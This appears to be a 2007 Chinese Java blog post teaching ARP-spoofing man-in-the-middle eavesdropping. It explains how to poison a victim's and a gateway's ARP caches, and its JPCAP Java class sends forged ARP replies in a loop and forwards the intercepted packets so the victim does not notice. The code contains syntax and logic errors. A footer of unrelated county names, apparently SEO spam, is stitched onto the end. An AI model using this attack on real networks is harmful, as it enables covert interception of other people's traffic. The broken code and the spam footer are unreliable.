備注學(xué)院

          LuLu

            BlogJava :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
            5 隨筆 :: 50 文章 :: 16 評(píng)論 :: 0 Trackbacks
          三.使用JPCAP實(shí)現(xiàn)監(jiān)聽(tīng)
                 1.監(jiān)聽(tīng)原理
                 在詳細(xì)說(shuō)用JPCAP實(shí)現(xiàn)網(wǎng)絡(luò)監(jiān)聽(tīng)實(shí)現(xiàn)前,先簡(jiǎn)單介紹下監(jiān)聽(tīng)的原理。
                 局域網(wǎng)監(jiān)聽(tīng)利用的是所謂的“ARP欺騙”技術(shù)。在以前曾經(jīng)一段階段,局域網(wǎng)的布局是使用總線式(或集線式)結(jié)構(gòu),要到達(dá)監(jiān)聽(tīng)只需要將網(wǎng)卡設(shè)定為混雜模式即可,但現(xiàn)在的局域網(wǎng)絡(luò)普遍采用的是交換式網(wǎng)絡(luò),所以單純靠混雜模式來(lái)達(dá)到監(jiān)聽(tīng)的方法已經(jīng)不可行了。所以為了達(dá)到監(jiān)聽(tīng)的目的,我們需要“欺騙”路由器、“欺騙”交換機(jī),即“ARP欺騙”技術(shù)。
                 假設(shè)本機(jī)為A,監(jiān)聽(tīng)目標(biāo)為B。
          首先,偽造一個(gè)ARP REPLY包,數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址,而源IP部分填入網(wǎng)關(guān)IP,目的地址填入B的MAC、IP,然后將這個(gè)包發(fā)送給B,而B(niǎo)接收到這個(gè)偽造的ARP REPLY包后,由于源IP為網(wǎng)關(guān)IP,于是在它的ARP緩存表里刷新了一項(xiàng),將(網(wǎng)關(guān)IP,網(wǎng)關(guān)MAC)刷新成(網(wǎng)關(guān)IP,A的MAC)。而B(niǎo)要訪問(wèn)外部的網(wǎng)都需要經(jīng)過(guò)網(wǎng)關(guān),這時(shí)候這些要經(jīng)過(guò)網(wǎng)關(guān)的包就通通流到A的機(jī)器上來(lái)了。
          接著,再偽造一個(gè)ARP REPLY包,數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網(wǎng)關(guān)MAC、IP,然后將這個(gè)包發(fā)給網(wǎng)關(guān),網(wǎng)關(guān)接收到這個(gè)偽造的ARP REPLY包后,由于源IP為B的IP,于是在它的ARP緩存表里刷新了一項(xiàng),將(B的IP,B的MAC)刷新成(B的IP,A的MAC)。這時(shí)候外部傳給B的數(shù)據(jù)包經(jīng)過(guò)網(wǎng)關(guān)時(shí),就通通轉(zhuǎn)發(fā)給A。
          這樣還只是攔截了B的數(shù)據(jù)包而已,B并不能上網(wǎng)——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動(dòng)的再轉(zhuǎn)發(fā)出去,這樣就達(dá)到了監(jiān)聽(tīng)的目的——在B不知不覺(jué)中瀏覽了B所有的對(duì)外數(shù)據(jù)包。
           
          ARP數(shù)據(jù)包解析
          單元:Byte
          Ethernet頭部
          ARP數(shù)據(jù)部分
          2
          2
          2
          2
          目標(biāo)MAC地址
          源地MAC地址
          類型號(hào)0x0800:ip
          0x0806:ARP
          局域網(wǎng)類型
          以太網(wǎng)0x0001
          網(wǎng)絡(luò)協(xié)議類型
          IP網(wǎng)絡(luò)0x0800
          MAC/IP地址長(zhǎng)度,恒為0x06/04
          ARP包類型
          REPLY
          0x0002
          ARP目標(biāo)IP地址
          ARP目標(biāo)MAC 地址
          ARPIP地址
          ARPMAC地址
           
          2.用JPCAP實(shí)現(xiàn)監(jiān)聽(tīng)
                 就如上面說(shuō)的,為了實(shí)現(xiàn)監(jiān)聽(tīng),我們必須做四件事:
          A.發(fā)送ARP包修改B的ARP緩存表;
          B.發(fā)送ARP包修改路由ARP緩存表;
          C.轉(zhuǎn)發(fā)B發(fā)過(guò)來(lái)的數(shù)據(jù)包;
          D.轉(zhuǎn)發(fā)路由發(fā)過(guò)來(lái)的數(shù)據(jù)包;
           
          下面我們給個(gè)小小的例子說(shuō)明怎樣實(shí)現(xiàn)。
          我們假定運(yùn)行這個(gè)程序的機(jī)器A只有一個(gè)網(wǎng)卡,只接一個(gè)網(wǎng)絡(luò),所在局域網(wǎng)為Ethernet,并且假定已經(jīng)通過(guò)某種方式獲得B和網(wǎng)關(guān)的MAC地址(例如ARP解析獲得)。我們修改了B和網(wǎng)關(guān)的ARP表,并對(duì)他們的包進(jìn)行了轉(zhuǎn)發(fā)。
          public class changeARP{
                   private NetworkInterface[] devices;                           //設(shè)備列表
                   private NetworkInterface device;                               //要使用的設(shè)備
                   private JpcapCaptor jpcap;                                        //與設(shè)備的連接
                   private JpcapSender sender;                                       //用于發(fā)送的實(shí)例
                   private byte[] targetMAC, gateMAC;                       //BMAC地址,網(wǎng)關(guān)的MAC地址
                   private byte[] String targetIp, String gateIp;              //BIP地址,網(wǎng)關(guān)的IP地址
                   /**
                   *初始化設(shè)備
                   * JpcapCaptor.getDeviceList()得到設(shè)備可能會(huì)有兩個(gè),其中一個(gè)必定是“Generic
          *dialup adapter”,這是windows系統(tǒng)的虛擬網(wǎng)卡,并非真正的硬件設(shè)備。
          *注意:在這里有一個(gè)小小的BUG,如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
          *JFame()這類的語(yǔ)句會(huì)影響得到設(shè)備個(gè)數(shù),只會(huì)得到真正的硬件設(shè)備,而不會(huì)出現(xiàn)虛擬網(wǎng)卡。
          *虛擬網(wǎng)卡只有MAC地址而沒(méi)有IP地址,而且如果出現(xiàn)虛擬網(wǎng)卡,那么實(shí)際網(wǎng)卡的MAC將分
          *配給虛擬網(wǎng)卡,也就是說(shuō)在程序中調(diào)用device. mac_address時(shí)得到的是00 00 00 00 00 00。
                   */
                   private NetworkInterface getDevice() throws IOException {
                            devices = JpcapCaptor.getDeviceList();                                                 //獲得設(shè)備列表
                             device = devices[0];                                                                                //只有一個(gè)設(shè)備
                             jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             //打開(kāi)與設(shè)備的連接
                             jpcap.setFilter(“ip”,true);                                                                       //只監(jiān)聽(tīng)BIP數(shù)據(jù)包
                             sender = captor.getJpcapSenderInstance();
                   }
                   /**
                   *修改B和網(wǎng)關(guān)的ARP表。因?yàn)榫W(wǎng)關(guān)會(huì)定時(shí)發(fā)數(shù)據(jù)包刷新自己和B的緩存表,所以必須每隔一
                   *段時(shí)間就發(fā)一次包重新更改B和網(wǎng)關(guān)的ARP表。
                   *@參數(shù) targetMAC           BMAC地址,可通過(guò)ARP解析得到;
                   *@參數(shù) targetIp                 BIP地址;
                   *@參數(shù) gateMAC              網(wǎng)關(guān)的MAC地址;
                   *@參數(shù) gateIp                     網(wǎng)關(guān)的IP;
                   */
                   public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
                                      throws UnknownHostException,InterruptedException {
                             this. targetMAC =  targetMAC;
                             this. targetIp =  targetIp;
                             this. gateMAC = gateMAC;
                             this. gateIp = gateIp;
                             getDevice();
                             arpTarget = new ARPPacket();                                                     //修改BARP表的ARP
                             arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          //選擇以太網(wǎng)類型(Ethernet)
                             arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                //選擇IP網(wǎng)絡(luò)協(xié)議類型
                             arpTarget.operation = ARPPacket.ARP_REPLY;                         //選擇REPLY類型
                             arpTarget.hlen = 6;                                                                        //MAC地址長(zhǎng)度固定6個(gè)字節(jié)
                             arpTarget.plen = 4;                                                                        //IP地址長(zhǎng)度固定4個(gè)字節(jié)
                             arpTarget.sender_hardaddr = device.mac_address;                       //AMAC地址
                             arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       //網(wǎng)關(guān)IP
                             arpTarget.target_hardaddr = targetMAC;                                               //BMAC地址
                             arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();     //BIP
           
                             EthernetPacket ethToTarget = new EthernetPacket();                  //創(chuàng)建一個(gè)以太網(wǎng)頭
                             ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包類型
                             ethToTarget.src_mac = device.mac_address;                                 //AMAC地址
                             ethToTarget.dst_mac = targetMAC;                                             //BMAC地址
                             arpTarget.datalink = ethToTarget;                                                 //將以太頭添加到ARP包前
           
                             arpGate = new ARPPacket();                                                                 //修改網(wǎng)關(guān)ARP表的包
                             arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;             //跟以上相似,不再重復(fù)注析
                             arpGate.prototype = ARPPacket.PROTOTYPE_IP;
                             arpGate.operation = ARPPacket.ARP_REPLY;
                             arpGate.hlen = 6;
                             arpGate.plen = 4;
                             arpGate.sender_hardaddr = device.mac_address;
                             arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
                             arpGate.target_hardaddr = gateMAC;
                             arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
           
                             EthernetPacket ethToGate = new EthernetPacket();
                             ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
                             ethToGate.src_mac = device.mac_address;
                             ethToGate.dst_mac = gateMAC;
                             arpGate.datalink = ethToGate;
                            
                             thread=new Thread(new Runnable(){                                 //創(chuàng)建一個(gè)進(jìn)程控制發(fā)包速度
                                      public void run() {
                                                while (true) {
                                                         sender.sendPacket(arpTarget);
                                                         sender.sendPacket(arpGate);
                                                         Thread.sleep(500);
                             }).start();
                             recP();                                                                                   //接收數(shù)據(jù)包并轉(zhuǎn)發(fā)
          }
          /**
          *修改包的以太頭,轉(zhuǎn)發(fā)數(shù)據(jù)包
          *參數(shù) packet               收到的數(shù)據(jù)包
          *參數(shù) changeMAC     要轉(zhuǎn)發(fā)出去的目標(biāo)
          */
          private void send(Packet packet, byte[] changeMAC) {                      
                             EthernetPacket eth;
                             if (packet.datalink instanceof EthernetPacket) {
                                      eth = (EthernetPacket) packet.datalink;
                                      for (int i = 0; i < 6; i++) {
                                               eth.dst_mac[i] = changeMAC[i];                      //修改包以太頭,改變包的目標(biāo)
                                               eth.src_mac[i] = device.mac_address[i];            //源發(fā)送者為A
                                      }
                                      sender.sendPacket(packet);
                             }
          }
          /**
          *打印接受到的數(shù)據(jù)包并轉(zhuǎn)發(fā)
          */
          public void recP(){
                   IPPacket ipPacket = null;
                   while(true){
                            ipPacket = IPPacketjpcap.getPacket();
                                      System.out.println(ipPacket);
                                     if (ipPacket.src_ip.getHostAddress().equals(targetIp))
                                               send(packet, gateMAC);
                                      else
                                               send(packet, targetMAC);
                             }
          }
           
          注意:這個(gè)例子只是為了說(shuō)明問(wèn)題,并沒(méi)有考慮到程序的健壯性,所以并不一定能在任何一臺(tái)機(jī)器任何一個(gè)系統(tǒng)上運(yùn)行。
           

          Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1370905

          posted on 2007-11-24 23:41 smildlzj 閱讀(209) 評(píng)論(0)  編輯  收藏 所屬分類: Java
          主站蜘蛛池模板: 永安市| 额济纳旗| 祁阳县| 来宾市| 高平市| 临城县| 林州市| 滦南县| 连江县| 远安县| 旅游| 靖江市| 义马市| 夏邑县| 六枝特区| 南宫市| 搜索| 自治县| 平安县| 兰州市| 乌鲁木齐市| 久治县| 遂宁市| 平阴县| 怀来县| 钟山县| 南开区| 商南县| 武宁县| 永平县| 农安县| 云南省| 赤城县| 辉县市| 北流市| 扶余县| 赤壁市| 新密市| 石泉县| 屏东市| 绥江县|